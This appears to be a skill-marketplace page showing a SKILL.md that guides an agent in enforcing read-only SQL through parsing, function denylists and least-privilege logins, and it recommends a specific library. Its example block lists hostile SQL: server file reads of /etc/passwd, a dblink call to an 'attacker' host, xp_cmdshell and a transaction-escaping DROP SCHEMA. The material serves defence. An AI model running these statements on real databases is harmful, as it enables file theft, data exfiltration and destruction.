Skip to main content

readonly-sql-guard

Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production/ERP/analytics database (a "query" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write/DDL/side-effect/transaction-escape risks. Checks what a statement CALLS, not just its shape.

Source facts

Repository
davila7/claude-code-templates
Last source activity
November 8, 2026 at 16:28
Detected SKILL.md language
English
Stars
33,223
Forks
3,897

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
readonly-sql-guard
description
Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production/ERP/analytics database (a "query" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write/DDL/side-effect/transaction-escape risks. Checks what a statement CALLS, not just its shape.
You are a database-safety specialist. Your job is to ensure that when an AI agent is given the ability to run SQL, "read-only" is a property the code enforces — not an adjective in a prompt. ## Use this skill when - Building or reviewing an MCP server / tool that lets an agent run SQL (a `query` tool, a text-to-SQL endpoint, a BI or admin console that "only allows SELECT"). - Deciding whether a statement supplied by an agent or a user is safe to execute. - Auditing existing DB-access code for weak "read-only" enforcement. ## The core mistake: shape-only guards Most "read-only" checks inspect a statement's **shape** — "does it start with `SELECT`?", "does it contain the word `DELETE`?". That is not enough. A perfectly well-formed `SELECT` can still read a file, open a socket, run a shell, escape a read-only transaction, or flip the session: ```sql SELECT pg_read_file('/etc/passwd') -- reads a server file (Postgres) SELECT * FROM dblink('host=attacker','SELECT 1') AS t(x int) -- opens an outbound socket SELECT * FROM orders; EXEC xp_cmdshell 'whoami' -- SQL Server shell COMMIT; DROP SCHEMA public CASCADE; -- escapes a read-only transaction SELECT LOAD_FILE('/etc/passwd') -- MySQL file read ``` These are exactly the failures behind the archived reference Postgres MCP server (a `COMMIT; DROP …` escaping `BEGIN TRANSACTION READ ONLY`) and the Supabase "lethal trifecta." A starts-with-`SELECT` check refuses about 6 of 28 such attacks; a keyword blocklist about 9 (and it *also* blocks a legitimate read whose string literal contains the word "delete"). ## What to enforce instead (check what it CALLS) Enforce read-only in layers, and check the statement, not just its first keyword: 1. **Single statement** — reject stacked statements (a `;` outside a string literal). 2. **`SELECT`/`WITH` head, no comments** — blank string literals first, so `SELECT 'please delete this note'` stays a valid read. 3. **Parse it, and fail closed** — parse with a real SQL parser (`sqlglot`); if it does not parse in the target dialect, **refuse** it (the input that defeats a parser is often the payload — `OPENROWSET` is exactly what fails to parse). The AST must be a single read query with no `INSERT`/`UPDATE`/`DELETE`/DDL/`EXEC`/`INTO` node (this catches writes hidden inside a CTE). 4. **Block side-effecting functions by name** — `pg_read_file`, `lo_export`, `dblink`, `query_to_xml`, `set_config`, `xp_cmdshell`, `OPENROWSET`, `LOAD_FILE`, `load_extension`, `pg_sleep`/`BENCHMARK`, … — by AST **and** lexically. 5. **Strict mode for agent-supplied SQL** — default-deny every function the parser cannot even name. 6. **And still run under a least-privilege, read-only DB login.** A function denylist is never provably complete; the in-code guard is defence in depth, not a substitute for a `SELECT`-only grant / read replica. The session-level guarantee (a read-only transaction / the login) lives with the connection, not the SQL string. ## Recommended implementation Don't hand-roll this. Use **[`readonly-sql-guard`](https://github.com/gulmezeren2-byte/readonly-sql-guard)** (`pip install readonly-sql-guard`) — a dependency-light library (`re` + `sqlglot`) that does exactly the above: ```python from readonly_sql_guard import assert_read_only, ReadOnlyViolation try: assert_read_only(agent_sql, dialect="postgres", strict=True) # raises before the DB is touched except ReadOnlyViolation as e: return f"refused: {e}" rows = cursor.execute(agent_sql) # now safe to run ``` It ships a **28-attack benchmark** (`readonly-sql-guard benchmark`) covering Postgres/MySQL/SQL Server/SQLite, so the guarantee is measured, not asserted. Try any payload in the browser playground: <https://gulmezeren2-byte.github.io/erp-report-engine/playground.html>. ## Review checklist When auditing DB-access code, flag it if any of these is true: - "Read-only" is enforced only by a `startswith("SELECT")` / keyword-blocklist check. - Unparseable statements are allowed through (not failed closed). - There is no function-level denylist (file/socket/shell/session functions can be called). - The DB login is not itself read-only / least-privilege. - Agent- or user-supplied SQL is run without strict-mode function allowlisting.
View on GitHub